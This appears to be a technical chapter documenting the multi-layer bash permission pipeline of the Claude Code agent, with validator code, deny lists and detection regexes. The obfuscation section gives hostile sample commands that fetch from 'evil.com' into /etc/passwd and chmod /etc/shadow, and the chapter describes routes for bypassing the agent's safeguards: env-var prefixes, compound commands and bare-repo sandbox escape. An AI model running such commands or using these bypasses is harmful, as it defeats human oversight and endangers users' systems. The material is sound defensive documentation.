Bash 27-Layer Security
The BashTool is the most security-critical component in Claude Code. It’s the only tool that can execute arbitrary system commands, making it the primary attack surface. To defend against prompt injection, command injection, and privilege escalation, Claude Code implements a multi-layered security pipeline that every bash command must pass through before execution.
This chapter documents the complete decision tree — from the initial AST parse through 27 distinct security validators to the final permission decision.
Architecture Overview
Section titled “Architecture Overview”The bash security system is split across several files:
| File | Lines | Purpose |
|---|---|---|
src/tools/BashTool/bashPermissions.ts | ~2600 | Main permission pipeline, rule matching, subcommand splitting |
src/tools/BashTool/bashSecurity.ts | ~2500 | 23 security validators for command injection detection |
src/tools/BashTool/pathValidation.ts | ~1300 | Path constraint checking, working directory enforcement |
src/tools/BashTool/modeValidation.ts | ~115 | Mode-specific command allowlists (acceptEdits commands) |
src/tools/BashTool/sedValidation.ts | — | Blocks dangerous sed operations before mode auto-allow |
src/tools/BashTool/bashCommandHelpers.ts | ~300 | Pipe and operator permission handling |
src/utils/bash/ast.ts | ~2500 | Tree-sitter AST parsing and semantic checks |
src/utils/permissions/bashClassifier.ts | — | AI-based command classification (prompt rules) |
The Complete Decision Tree
Section titled “The Complete Decision Tree”When bashToolHasPermission() is called, a command traverses the following layers:
flowchart TD Entry["bashToolHasPermission(command)"] --> L0
subgraph "Phase 0: AST Parse" L0["Layer 0: Tree-sitter AST parse"] L0 -->|simple| Semantics["Layer 1: checkSemantics"] L0 -->|too-complex| TooComplex["Layer 2: Too-complex handling"] L0 -->|unavailable| Legacy["Layer 3: Legacy shell-quote parse"] end
Semantics -->|fail| SemanticDeny["Check deny rules → ASK"] Semantics -->|pass| SandboxCheck TooComplex --> EarlyDeny["Check deny rules → ASK"] Legacy -->|fail| ParseAsk["ASK: malformed syntax"] Legacy -->|pass| SandboxCheck
subgraph "Phase 1: Fast Paths" SandboxCheck{"Layer 4: Sandbox<br/>auto-allow?"} SandboxCheck -->|yes + no deny| SandboxAllow["ALLOW (sandboxed)"] SandboxCheck -->|no| ExactMatch
ExactMatch["Layer 5: Exact match<br/>deny/ask/allow rules"] ExactMatch -->|deny| Deny1["DENY"] ExactMatch -->|ask/allow| ClassifierCheck end
subgraph "Phase 2: Classifier Rules" ClassifierCheck["Layer 6: Classifier deny rules"] ClassifierCheck -->|deny match| ClassDeny["DENY"] ClassifierCheck -->|no match| AskClassifier
AskClassifier["Layer 7: Classifier ask rules"] AskClassifier -->|ask match| ClassAsk["ASK"] AskClassifier -->|no match| OperatorCheck end
subgraph "Phase 3: Structural Analysis" OperatorCheck["Layer 8: Pipe/operator<br/>decomposition"] OperatorCheck -->|pipes found| PipeProcess["Process each segment"] OperatorCheck -->|no pipes| MisparseGate
MisparseGate["Layer 9: Legacy<br/>misparsing gate"] MisparseGate -->|unsafe patterns| AskMisparse["ASK"] MisparseGate -->|safe| SubcommandSplit end
SubcommandSplit["Layer 10: Subcommand split"] --> CdCheck
subgraph "Phase 4: Per-Subcommand Checks" CdCheck["Layer 11: Multiple cd check"] CdCheck -->|multiple cd| AskCd["ASK"] CdCheck -->|ok| CdGitCheck
CdGitCheck["Layer 12: cd + git<br/>bare repo guard"] CdGitCheck -->|cd && git| AskCdGit["ASK"] CdGitCheck -->|ok| SubPermChecks
SubPermChecks["Layer 13-22: Per-subcommand<br/>permission pipeline"] --> FinalDecision end
subgraph "Phase 5: Aggregation" FinalDecision{"All subcommands<br/>allowed?"} FinalDecision -->|all allow + no injection| AllowFinal["ALLOW"] FinalDecision -->|any deny| DenyFinal["DENY"] FinalDecision -->|any ask/passthrough| AskFinal["ASK + suggestions"] endPhase 0: AST Parsing (Layers 0–3)
Section titled “Phase 0: AST Parsing (Layers 0–3)”Layer 0: Tree-sitter AST Parse
Section titled “Layer 0: Tree-sitter AST Parse”The first thing bashToolHasPermission does is attempt to parse the command with tree-sitter:
// src/tools/BashTool/bashPermissions.ts (line ~1688)let astRoot = injectionCheckDisabled ? null : await parseCommandRaw(input.command)let astResult: ParseForSecurityResult = astRoot ? parseForSecurityFromAst(input.command, astRoot) : { kind: 'parse-unavailable' }The parse returns one of three results:
| Result | Meaning | Next Step |
|---|---|---|
simple | Clean parse — array of SimpleCommand[] with resolved quotes, no hidden substitutions | Proceed to semantic checks |
too-complex | Parse succeeded but found dangerous structures (command substitution, expansions, control flow) | Fall through to ask, respecting deny rules |
parse-unavailable | Tree-sitter WASM not loaded or feature-gated off | Fall back to legacy shell-quote path |
Layer 1: Semantic Checks (checkSemantics)
Section titled “Layer 1: Semantic Checks (checkSemantics)”For simple results, checkSemantics in ast.ts validates the commands at the semantic level:
// src/utils/bash/ast.ts (line ~2213)export function checkSemantics(commands: SimpleCommand[]): SemanticCheckResult { for (const cmd of commands) { // Strip safe wrappers (nohup, time, timeout, nice) let a = cmd.argv // ... wrapper stripping ... const name = a[0]
// Block eval, exec, and other eval-equivalents if (EVAL_COMMANDS.has(name)) return { ok: false, reason: ... }
// Block Zsh dangerous builtins if (ZSH_DANGEROUS.has(name)) return { ok: false, reason: ... }
// Block jq system() function calls if (name === 'jq' && hasSystemFunction(a)) return { ok: false, reason: ... }
// Check for argv elements containing newlines (parser differential) // Check for /proc/environ access } return { ok: true }}What it catches:
eval,exec,source,.(eval-equivalents)zmodload,emulate -c,sysopen,ztcp, etc. (Zsh dangerous builtins)jqwithsystem()function calls or file arguments- Argv elements containing literal newlines (parser differential risk)
/proc/*/environaccess (environment variable exfiltration)
Layer 2: Too-Complex Handling
Section titled “Layer 2: Too-Complex Handling”When tree-sitter detects structures it can’t statically verify (command substitutions, parameter expansions, control flow keywords, parser differentials), it returns too-complex:
// src/tools/BashTool/bashPermissions.ts (line ~1741)if (astResult.kind === 'too-complex') { const earlyExit = checkEarlyExitDeny(input, appState.toolPermissionContext) if (earlyExit !== null) return earlyExit return { behavior: 'ask', reason: astResult.reason, suggestions: [] }}The too-complex path still respects deny rules — a command with $() substitution that matches Bash(eval:*) deny will be denied, not just asked.
Layer 3: Legacy Shell-Quote Parse
Section titled “Layer 3: Legacy Shell-Quote Parse”When tree-sitter is unavailable, the system falls back to the shell-quote library:
// src/tools/BashTool/bashPermissions.ts (line ~1815)const parseResult = tryParseShellCommand(input.command)if (!parseResult.success) { return { behavior: 'ask', reason: `Malformed syntax: ${parseResult.error}` }}Phase 1: Fast Paths (Layers 4–5)
Section titled “Phase 1: Fast Paths (Layers 4–5)”Layer 4: Sandbox Auto-Allow
Section titled “Layer 4: Sandbox Auto-Allow”When sandboxing is enabled with autoAllowBashIfSandboxed, commands that will run in a sandbox are auto-allowed — unless explicit deny/ask rules exist:
// src/tools/BashTool/bashPermissions.ts (line ~1270)function checkSandboxAutoAllow(input, toolPermissionContext): PermissionResult { // Check deny/ask on full command const { matchingDenyRules, matchingAskRules } = matchingRulesForInput(...) if (matchingDenyRules[0]) return { behavior: 'deny', ... }
// SECURITY: Check EACH subcommand against deny/ask rules const subcommands = splitCommand(command) if (subcommands.length > 1) { for (const sub of subcommands) { const subResult = matchingRulesForInput({ command: sub }, ...) if (subResult.matchingDenyRules[0]) return { behavior: 'deny', ... } } }
return { behavior: 'allow', reason: 'Auto-allowed with sandbox' }}Layer 5: Exact Match Permission Rules
Section titled “Layer 5: Exact Match Permission Rules”Before any deeper analysis, the command is checked against exact-match rules:
// src/tools/BashTool/bashPermissions.ts (line ~991)export const bashToolCheckExactMatchPermission = (input, context) => { const { matchingDenyRules, matchingAskRules, matchingAllowRules } = matchingRulesForInput(input, context, 'exact')
// Priority: deny > ask > allow if (matchingDenyRules[0]) return { behavior: 'deny', ... } if (matchingAskRules[0]) return { behavior: 'ask', ... } if (matchingAllowRules[0]) return { behavior: 'allow', ... } return { behavior: 'passthrough', ... }}Phase 2: Classifier Rules (Layers 6–7)
Section titled “Phase 2: Classifier Rules (Layers 6–7)”Layer 6: Classifier Deny Rules
Section titled “Layer 6: Classifier Deny Rules”When the bash classifier feature is enabled, natural-language deny descriptions are evaluated:
// src/tools/BashTool/bashPermissions.ts (line ~1866)const denyDescriptions = getBashPromptDenyDescriptions(context)const [denyResult, askResult] = await Promise.all([ hasDeny ? classifyBashCommand(input.command, cwd, denyDescriptions, 'deny', ...) : null, hasAsk ? classifyBashCommand(input.command, cwd, askDescriptions, 'ask', ...) : null,])
if (denyResult?.matches && denyResult.confidence === 'high') { return { behavior: 'deny', message: `Denied by Bash prompt rule: "${denyResult.matchedDescription}"` }}Layer 7: Classifier Ask Rules
Section titled “Layer 7: Classifier Ask Rules”If deny rules don’t match, ask rules are checked. A high-confidence match triggers a permission prompt with the matched description:
if (askResult?.matches && askResult.confidence === 'high') { return { behavior: 'ask', reason: `Required by Bash prompt rule: "${askResult.matchedDescription}"` }}Phase 3: Structural Analysis (Layers 8–9)
Section titled “Phase 3: Structural Analysis (Layers 8–9)”Layer 8: Pipe and Operator Decomposition
Section titled “Layer 8: Pipe and Operator Decomposition”Commands with pipes (|), redirections, and other operators are decomposed by checkCommandOperatorPermissions:
async function segmentedCommandPermissionResult(input, segments, ...) { // Check for multiple cd commands across segments // Check for cd+git across pipe segments (bare repo attack) // Process each segment through full permission system // Deny if ANY segment is denied // Allow only if ALL segments are allowed}Security critical: When pipe segments all return allow, the original command is still checked for:
- Path constraints on output redirections (which were stripped from segments)
- Dangerous patterns (backticks,
$()) in redirect targets
Layer 9: Legacy Misparsing Gate
Section titled “Layer 9: Legacy Misparsing Gate”When tree-sitter is unavailable, a legacy security check detects patterns that splitCommand_DEPRECATED might misparse:
// src/tools/BashTool/bashPermissions.ts (line ~2089)const originalCommandSafetyResult = await bashCommandIsSafeAsync(input.command)if (originalCommandSafetyResult.behavior === 'ask' && originalCommandSafetyResult.isBashSecurityCheckForMisparsing) { // Try stripping safe heredoc substitutions and re-checking const remainder = stripSafeHeredocSubstitutions(input.command) // ...}Phase 4: Per-Subcommand Checks (Layers 10–22)
Section titled “Phase 4: Per-Subcommand Checks (Layers 10–22)”Layer 10: Subcommand Splitting
Section titled “Layer 10: Subcommand Splitting”The command is split into individual subcommands. Tree-sitter results are preferred:
const rawSubcommands = astSubcommands ?? splitCommand(input.command)// Filter out `cd ${cwd}` prefix subcommandsconst { subcommands, astCommandsByIdx } = filterCdCwdSubcommands(...)A subcommand cap prevents DoS:
export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50// Above the cap → fall back to 'ask'Layer 11: Multiple cd Check
Section titled “Layer 11: Multiple cd Check”const cdCommands = subcommands.filter(cmd => isNormalizedCdCommand(cmd))if (cdCommands.length > 1) { return { behavior: 'ask', reason: 'Multiple directory changes require approval' }}Layer 12: cd + git Bare Repository Guard
Section titled “Layer 12: cd + git Bare Repository Guard”A compound command with both cd and git is always flagged. This prevents sandbox escape via bare git repos with core.fsmonitor:
// src/tools/BashTool/bashPermissions.ts (line ~2209)if (compoundCommandHasCd) { const hasGitCommand = subcommands.some(cmd => isNormalizedGitCommand(cmd.trim())) if (hasGitCommand) { return { behavior: 'ask', reason: 'cd + git require approval to prevent bare repository attacks' } }}isNormalizedGitCommand and isNormalizedCdCommand normalize away safe wrappers and shell quotes before checking:
export function isNormalizedGitCommand(command: string): boolean { if (command.startsWith('git ') || command === 'git') return true const stripped = stripSafeWrappers(command) const parsed = tryParseShellCommand(stripped) if (parsed.success && parsed.tokens.length > 0) { if (parsed.tokens[0] === 'git') return true if (parsed.tokens[0] === 'xargs' && parsed.tokens.includes('git')) return true } return /^git(?:\s|$)/.test(stripped)}Layers 13–22: Per-Subcommand Permission Pipeline (bashToolCheckPermission)
Section titled “Layers 13–22: Per-Subcommand Permission Pipeline (bashToolCheckPermission)”Each subcommand runs through its own pipeline:
// src/tools/BashTool/bashPermissions.ts (line ~1050)export const bashToolCheckPermission = (input, context, compoundCommandHasCd, astCommand) => { // 1. Exact match first // 2. Prefix/wildcard deny rules → DENY // 3. Prefix/wildcard ask rules → ASK // 4. Path constraints (checkPathConstraints) // 5. Exact match allow // 6. Prefix/wildcard allow rules → ALLOW // 5b. Sed constraints (blocks dangerous sed before mode auto-allow) // 7. Mode-specific handling (acceptEdits allowlist) // 8. Read-only check (BashTool.isReadOnly) // 9. Passthrough → triggers permission prompt}The 23 Security Validators (bashSecurity.ts)
Section titled “The 23 Security Validators (bashSecurity.ts)”The bashCommandIsSafe_DEPRECATED function runs 23 validators in sequence. Each validator returns allow (early exit), ask (flag for review), or passthrough (continue to next validator):
Complete Validator Table
Section titled “Complete Validator Table”| # | Validator | Check ID | What It Catches |
|---|---|---|---|
| 1 | validateControlCharacters | 17 | Null bytes, non-printable chars that confuse subsequent validators |
| 2 | validateShellQuoteSingleQuoteBug | — | shell-quote library bug with single-quote backslashes |
| 3 | validateEmpty | — | Empty commands (auto-allow) |
| 4 | validateSafeCommandSubstitution | — | Safe heredoc patterns $(cat <<'EOF'...EOF) (early allow) |
| 5 | validateIncompleteCommands | 1 | Fragments starting with tab, flags, or operators |
| 6 | validateGitCommit | 12 | Substitution-free git commit commands (early allow) |
| 7 | validateJqCommand | 2, 3 | jq with system() calls or file write arguments |
| 8 | validateObfuscatedFlags | 4 | Shell quoting bypass for flag detection (cu""rl, ch''mod) |
| 9 | validateShellMetacharacters | 5 | Unquoted ;, |, & in arguments |
| 10 | validateDangerousVariables | 6 | $IFS, $PATH, $LD_PRELOAD in unquoted positions |
| 11 | validateNewlines | 7 | Backslash-escaped newlines (\\\n) hiding command continuations |
| 12 | validateCarriageReturn | — | \r characters (terminal UI spoofing) |
| 13 | validateDangerousPatterns | 8 | $(), ${}, $[], process substitution, Zsh expansions, backticks |
| 14 | validateRedirections | 9, 10 | Input (<) and output (>, >>) redirections |
| 15 | validateIFSInjection | 11 | $IFS and ${...IFS...} patterns (field splitting attacks) |
| 16 | validateProcEnvironAccess | 13 | /proc/*/environ, /proc/self/environ (secret exfiltration) |
| 17 | validateMalformedTokenInjection | 14 | Tokens that parse differently than they appear |
| 18 | validateBackslashEscapedWhitespace | 15 | \ (space) and \ (tab) hiding operator boundaries |
| 19 | validateBackslashEscapedOperators | 21 | \;, |, \& that look like operators but aren’t |
| 20 | validateBraceExpansion | 16 | {a,b} brace expansion (command name manipulation) |
| 21 | validateUnicodeWhitespace | 18 | Non-ASCII whitespace (U+00A0, etc.) hiding content |
| 22 | validateMidWordHash | 19 | # in mid-word position (shell-quote/bash parser differential) |
| 23 | validateCommentQuoteDesync | 22 | Quote characters inside comments desynchronizing quote tracking |
| 24 | validateQuotedNewline | 23 | Newlines inside quotes with # creating comment injection |
| 25 | validateZshDangerousCommands | 20 | zmodload, emulate, sysopen, ztcp, etc. |
Deep Dive: Selected Validators
Section titled “Deep Dive: Selected Validators”Validator 1: Control Characters
Section titled “Validator 1: Control Characters”The first validator blocks control characters because they can confuse all subsequent regex-based checks:
// src/tools/BashTool/bashSecurity.ts (line ~2260)export function bashCommandIsSafe_DEPRECATED(command: string): PermissionResult { // SECURITY: Block control characters before any other processing if (CONTROL_CHAR_RE.test(command)) { return { behavior: 'ask', message: 'Command contains control characters' } } // ...}Validator 8: Obfuscated Flags
Section titled “Validator 8: Obfuscated Flags”Attackers can bypass flag detection by splitting flag strings across quotes:
# These all run `curl`, but quote-splitting hides the flag from regexcu""rl -o /etc/passwd http://evil.comch''mod 777 /etc/shadowfunction validateObfuscatedFlags(context: ValidationContext): PermissionResult { const { originalCommand, baseCommand } = context // Echo is safe for obfuscated flags, BUT only for simple echo commands // Not safe if echo has redirections (echo "payload" > file) // ...}Validator 13: Dangerous Patterns (Command Substitution)
Section titled “Validator 13: Dangerous Patterns (Command Substitution)”This is the broadest validator, checking for multiple expansion types:
const COMMAND_SUBSTITUTION_PATTERNS = [ { pattern: /<\(/, message: 'process substitution <()' }, { pattern: />\(/, message: 'process substitution >()' }, { pattern: /=\(/, message: 'Zsh process substitution =()' }, { pattern: /(?:^|[\s;&|])=[a-zA-Z_]/, message: 'Zsh equals expansion (=cmd)' }, { pattern: /\$\(/, message: '$() command substitution' }, { pattern: /\$\{/, message: '${} parameter substitution' }, { pattern: /\$\[/, message: '$[] legacy arithmetic expansion' }, { pattern: /~\[/, message: 'Zsh-style parameter expansion' }, { pattern: /\(e:/, message: 'Zsh-style glob qualifiers' }, { pattern: /\(\+/, message: 'Zsh glob qualifier with command execution' }, { pattern: /\}\s*always\s*\{/, message: 'Zsh always block (try/always)' }, { pattern: /<#/, message: 'PowerShell comment syntax' },]Validator 25: Zsh Dangerous Commands
Section titled “Validator 25: Zsh Dangerous Commands”A dedicated check for Zsh-specific attack vectors:
const ZSH_DANGEROUS_COMMANDS = new Set([ 'zmodload', // Gateway to dangerous modules 'emulate', // eval-equivalent with -c flag 'sysopen', // Fine-grained file control (zsh/system) 'sysread', // File descriptor reads (zsh/system) 'syswrite', // File descriptor writes (zsh/system) 'zpty', // Pseudo-terminal command execution (zsh/zpty) 'ztcp', // TCP connections for exfiltration (zsh/net/tcp) 'zsocket', // Unix/TCP sockets (zsh/net/socket) 'zf_rm', // Builtin rm from zsh/files 'zf_mv', // Builtin mv from zsh/files // ... more zsh builtins])The Safe Wrapper Stripping System
Section titled “The Safe Wrapper Stripping System”Before rule matching, safe wrapper commands are stripped so that timeout 10 npm install matches the Bash(npm install:*) rule:
// src/tools/BashTool/bashPermissions.ts (line ~524)export function stripSafeWrappers(command: string): string { const SAFE_WRAPPER_PATTERNS = [ /^timeout[ \t]+(?:...)[ \t]+\d+(?:\.\d+)?[smhd]?[ \t]+/, /^time[ \t]+(?:--[ \t]+)?/, /^nice(?:[ \t]+-n[ \t]+-?\d+|[ \t]+-\d+)?[ \t]+(?:--[ \t]+)?/, /^stdbuf(?:[ \t]+-[ioe][LN0-9]+)+[ \t]+(?:--[ \t]+)?/, /^nohup[ \t]+(?:--[ \t]+)?/, ] // Also strips safe env vars: NODE_ENV, RUST_LOG, LANG, etc. // Phase 1: Strip env vars + comments // Phase 2: Strip wrapper commands + comments (NOT env vars)}Critical security detail: The two-phase stripping is intentional. After a wrapper like nohup, env vars are treated as the COMMAND to execute, not as assignments. Stripping env vars in phase 2 would create a mismatch (HackerOne #3543050).
Safe Environment Variables
Section titled “Safe Environment Variables”Only a carefully curated allowlist of environment variables is stripped:
const SAFE_ENV_VARS = new Set([ // NEVER add: PATH, LD_PRELOAD, LD_LIBRARY_PATH, DYLD_* // NEVER add: PYTHONPATH, NODE_PATH, CLASSPATH, RUBYLIB // NEVER add: GOFLAGS, RUSTFLAGS, NODE_OPTIONS // NEVER add: HOME, TMPDIR, SHELL, BASH_ENV 'GOEXPERIMENT', 'GOOS', 'GOARCH', 'CGO_ENABLED', 'GO111MODULE', 'RUST_BACKTRACE', 'RUST_LOG', 'NODE_ENV', 'PYTHONUNBUFFERED', 'PYTHONDONTWRITEBYTECODE', 'LANG', 'LC_ALL', 'TERM', 'NO_COLOR', 'FORCE_COLOR', 'TZ', // ... more safe vars])Deny vs Allow Rule Stripping Asymmetry
Section titled “Deny vs Allow Rule Stripping Asymmetry”A subtle but critical design choice: deny rules strip ALL env vars while allow rules only strip safe env vars:
// Deny/ask rules: aggressive stripping (can't bypass deny with FOO=bar)const matchingDenyRules = filterRulesByContentsMatchingInput( input, denyRuleByContents, matchMode, { stripAllEnvVars: true, skipCompoundCheck: true },)
// Allow rules: conservative stripping (DOCKER_HOST=evil docker ps won't match)const matchingAllowRules = filterRulesByContentsMatchingInput( input, allowRuleByContents, matchMode, { skipCompoundCheck: false }, // stripAllEnvVars defaults to false)The stripAllLeadingEnvVars function uses fixed-point iteration to handle interleaved patterns like nohup FOO=bar timeout 5 denied_command.
Path Validation
Section titled “Path Validation”The checkPathConstraints function ensures commands don’t operate on files outside the project directory:
Key checks:
- Output redirections:
>,>>to paths outside the working directory are flagged - Sensitive paths:
.git/,.claude/,.vscode/, shell configs (.bashrc,.zshrc) trigger safety checks - cd + redirect guard: Compound commands with
cdAND file modifications are specially handled - AST-aware: When tree-sitter data is available, redirections are extracted from the AST rather than re-parsed
Dangerous Prefix Detection
Section titled “Dangerous Prefix Detection”When entering auto mode, the system strips overly broad allow rules that would bypass the classifier:
export function isDangerousBashPermission(toolName: string, ruleContent?: string): boolean { if (ruleContent === undefined || ruleContent === '') return true // Bash(*) = allow all if (content === '*') return true
for (const pattern of DANGEROUS_BASH_PATTERNS) { if (content === `${lowerPattern}:*`) return true // python:* if (content === `${lowerPattern}*`) return true // python* if (content === `${lowerPattern} *`) return true // python * } return false}The dangerous patterns list:
export const DANGEROUS_BASH_PATTERNS: readonly string[] = [ // Interpreters 'python', 'python3', 'python2', 'node', 'deno', 'tsx', 'ruby', 'perl', 'php', 'lua', // Package runners 'npx', 'bunx', 'npm run', 'yarn run', 'pnpm run', 'bun run', // Shells 'bash', 'sh', 'zsh', 'fish', // Eval-equivalents 'eval', 'exec', 'env', 'xargs', 'sudo', // Remote execution 'ssh',]Bare Shell Prefix Blocking
Section titled “Bare Shell Prefix Blocking”The system prevents suggestion of overly broad prefix rules:
const BARE_SHELL_PREFIXES = new Set([ 'sh', 'bash', 'zsh', 'fish', 'csh', 'tcsh', 'ksh', 'dash', 'cmd', 'powershell', 'pwsh', 'env', 'xargs', // wrappers that exec their args 'nice', 'stdbuf', 'nohup', 'timeout', 'time', // safe wrappers (stripped by semantics) 'sudo', 'doas', 'pkexec', // privilege escalation])Complete Security Pipeline Summary
Section titled “Complete Security Pipeline Summary”Here is the full ordered list of all security layers a bash command passes through:
| Layer | Location | Check | On Fail |
|---|---|---|---|
| 0 | bashPermissions.ts | Tree-sitter AST parse | Fall to legacy |
| 1 | ast.ts | checkSemantics — eval, zsh builtins, jq system() | ASK |
| 2 | bashPermissions.ts | Too-complex AST result handling | ASK |
| 3 | bashPermissions.ts | Legacy tryParseShellCommand | ASK |
| 4 | bashPermissions.ts | Sandbox auto-allow (with deny/ask rule respect) | Continue |
| 5 | bashPermissions.ts | Exact match deny/ask/allow rules | DENY/ASK/ALLOW |
| 6 | bashPermissions.ts | Classifier deny descriptions | DENY |
| 7 | bashPermissions.ts | Classifier ask descriptions | ASK |
| 8 | bashCommandHelpers.ts | Pipe/operator decomposition | Recurse per segment |
| 9 | bashPermissions.ts | Legacy misparsing gate (bashCommandIsSafe) | ASK |
| 10 | bashPermissions.ts | Subcommand split + cap (50 max) | ASK |
| 11 | bashPermissions.ts | Multiple cd check | ASK |
| 12 | bashPermissions.ts | cd + git bare repo guard | ASK |
| 13 | bashPermissions.ts | Per-subcommand exact match rules | DENY/ASK/ALLOW |
| 14 | bashPermissions.ts | Per-subcommand prefix/wildcard deny rules | DENY |
| 15 | bashPermissions.ts | Per-subcommand prefix/wildcard ask rules | ASK |
| 16 | pathValidation.ts | Path constraints (outside project, sensitive files) | ASK |
| 17 | bashPermissions.ts | Per-subcommand prefix/wildcard allow rules | ALLOW |
| 18 | sedValidation.ts | Dangerous sed operations | ASK |
| 19 | modeValidation.ts | Mode-specific command allowlist (acceptEdits) | ALLOW/passthrough |
| 20 | bashPermissions.ts | Read-only command check (BashTool.isReadOnly) | ALLOW |
| 21 | bashSecurity.ts | 25 security validators (injection, substitution, etc.) | ASK |
| 22 | bashPermissions.ts | Subcommand result aggregation | DENY/ALLOW/ASK |
| 23 | bashPermissions.ts | Path constraints on original command (redirect targets) | DENY/ASK |
| 24 | bashPermissions.ts | Pending classifier check attachment | — |
| 25 | permissions.ts | Mode post-processing (dontAsk → deny, auto → classifier) | DENY/ALLOW |
| 26 | permissions.ts | Headless agent handling (hooks → auto-deny) | DENY |
| 27 | permissions.ts | Denial tracking (consecutive denial limits) | ASK fallback |
Edge Cases and Known Limitations
Section titled “Edge Cases and Known Limitations”Compound Command Bypass Prevention
Section titled “Compound Command Bypass Prevention”A key security invariant: prefix/wildcard rules do NOT match compound commands. Without this, Bash(cd:*) would match cd /tmp && python3 evil.py:
// filterRulesByContentsMatchingInput (line ~891)case 'prefix': { if (isCompoundCommand.get(cmdToMatch)) { return false // SECURITY: Don't allow prefix rules to match compound commands } return cmdToMatch.startsWith(bashRule.prefix + ' ')}The xargs Pattern
Section titled “The xargs Pattern”xargs gets special handling because it effectively runs the command in the current directory:
// Also match "xargs <prefix>" for bare xargs with no flags.const xargsPrefix = 'xargs ' + bashRule.prefixif (cmdToMatch === xargsPrefix) return truereturn cmdToMatch.startsWith(xargsPrefix + ' ')This means Bash(grep:*) deny also blocks xargs grep pattern, and Bash(rm:*) deny blocks xargs rm file.
Tree-sitter Shadow Mode
Section titled “Tree-sitter Shadow Mode”The system can run tree-sitter in shadow mode, logging divergence from the legacy parser without using the AST for decisions:
if (feature('TREE_SITTER_BASH_SHADOW')) { // Record verdicts for both parsers logEvent('tengu_tree_sitter_shadow', { available, astTooComplex, subsDiffer, ... }) // Always force legacy path — shadow is observational only astResult = { kind: 'parse-unavailable' }}This allows the team to validate tree-sitter’s correctness before trusting it for security decisions.
Heredoc Safety
Section titled “Heredoc Safety”The isSafeHeredoc function allows $(cat <<'EOF'...EOF) patterns through the $() validator when they meet strict criteria:
- Delimiter must be single-quoted or escaped (no expansion in body)
- Closing delimiter must be on its own line
- The
$()must be in argument position, not command position - Remaining text (after heredoc stripping) must pass all validators
- No nested heredoc matches (prevents index corruption attacks)
Performance Considerations
Section titled “Performance Considerations”The security pipeline is hot code — it runs on every bash invocation:
- Subcommand cap: Maximum 50 subcommands to prevent exponential blowup
- Compound rule suggestions cap: Maximum 5 rules suggested per compound command
- Batched telemetry: Divergence events are aggregated instead of per-subcommand
- Lazy parsing: Tree-sitter is only invoked when the feature flag is on
- Speculative classifier checks: Started early to run in parallel with the permission dialog
export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50export const MAX_SUGGESTED_RULES_FOR_COMPOUND = 5Design Philosophy
Section titled “Design Philosophy”The bash security system follows several key principles:
- Fail closed: Unknown patterns are flagged for review, never auto-allowed
- Defense in depth: Multiple independent validators catch overlapping threat categories
- Deny rules are king: Deny rules cannot be bypassed by any mode, wrapper, or env var prefix
- AST-first, regex-fallback: Tree-sitter provides structural correctness; regex catches edge cases
- Asymmetric stripping: Allow rules are conservative (safe env vars only); deny rules are aggressive (strip everything)
- No silent failures: Every decision carries a
decisionReasonfor debugging and telemetry